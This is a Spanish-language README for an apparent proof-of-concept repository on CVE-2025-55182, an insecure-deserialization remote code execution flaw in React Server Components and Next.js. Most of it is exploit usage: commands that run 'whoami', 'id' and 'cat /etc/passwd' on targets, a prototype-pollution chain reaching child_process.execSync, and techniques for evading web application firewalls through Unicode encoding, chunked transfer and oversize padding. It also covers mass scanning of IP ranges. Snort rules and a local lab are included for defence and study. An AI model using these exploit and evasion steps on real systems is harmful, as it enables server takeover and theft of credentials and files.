
CVE-2025-55182-POC
Colección de herramientas de explotación y detección de la vulnerabilidad de deserialización insegura de React Server Components (RSC)
docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ - Código de Server Action vulnerableexploit_advanced.py - Soporta múltiples técnicas de ataque (Básico/Avanzado/Chunked/Oversize)rsc_vulnerability_checker_multi.py - Herramienta de diagnóstico de vulnerabilidades multiobjetivorules_priority_based - Conjunto de reglas de detección basadas en prioridad de Snortcd vulnerable-app
docker-compose up -d
# Verificar acceso en http://localhost:3000
# Prueba de una sola URL
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# Escaneo por lotes de varias URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# Escaneo de rango IP
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# Lectura desde archivo
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# Ataque básico
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# Ataque avanzado (cadena de prototipos + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# Evasión WAF - Codificación Unicode
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# Evasión WAF - Transfer-Encoding fragmentado
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# Evasión WAF - Payload de gran tamaño (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# Intentar todas las técnicas secuencialmente
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# Capturar tráfico de ataque
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# Analizar con Snort
snort -c snort.conf -r attack.pcap -A console -k none
Envío directo del payload RSC Flight
# Llamada directa a Server Action
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
RCE mediante contaminación de prototipos (Prototype Pollution)
// Principio clave
{
"then": "$1:__proto__:then", // Desencadenar Chunk.prototype.then
"_response": { // Inyectar respuesta falsa
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // Acceder al constructor Function
}
Cadena de ataque:
Chunk.prototype.then mediante contaminación de __proto___response$B llama a response._formData.get(id)constructor:constructorprocess.mainModule.require('child_process').execSync(cmd)Distribución de patrones usando Transfer-Encoding
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
Evasión del límite de tamaño de AWS WAF
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: solo inspecciona los primeros 8KB
# Colocar el código de ataque real después de 8KB
process.mainModule.require + child_process + execSync__proto__ + resolved_model + módulo RCE/etc/passwd, /etc/shadow, .ssh/id_rsarequests
pip install requests
# Una sola URL
python3 rsc_vulnerability_checker_multi.py http://target.com
# Múltiples URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# Escaneo de rango IP (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# Escaneo de rango IP (guión)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# Entrada/salida de archivo
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Modo verbose
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - No vulnerable
[ERROR] http://offline.com:3000 - Tiempo de espera de conexión
--basic: Enviar payload RSC Flight directamente--advanced: Técnica de cadena de prototipos + thenable--chunked: Transmisión fragmentada con Transfer-Encoding--oversize <size>: Payload de gran tamaño (por defecto: 65536 bytes)--all: Probar todas las técnicas secuencialmente--waf-bypass: Codificación Unicode (constructor → \u0063onstructor)--chunked: Disposición de patrones distribuidos--oversize: Evasión del límite de tamaño de AWS WAF-v, --verbose: Salida detallada-t, --timeout: Tiempo de espera de la solicitud (por defecto: 10 segundos)experimentalrules_priority_based)__proto__process.mainModule.require# Monitoreo en tiempo real con Snort
snort -c snort.conf -i eth0 -A console
# Análisis de archivo de registro
snort -c snort.conf -r network.pcap -A fast
Este contenido está destinado únicamente para fines de investigación, educación y verificación de diagnóstico.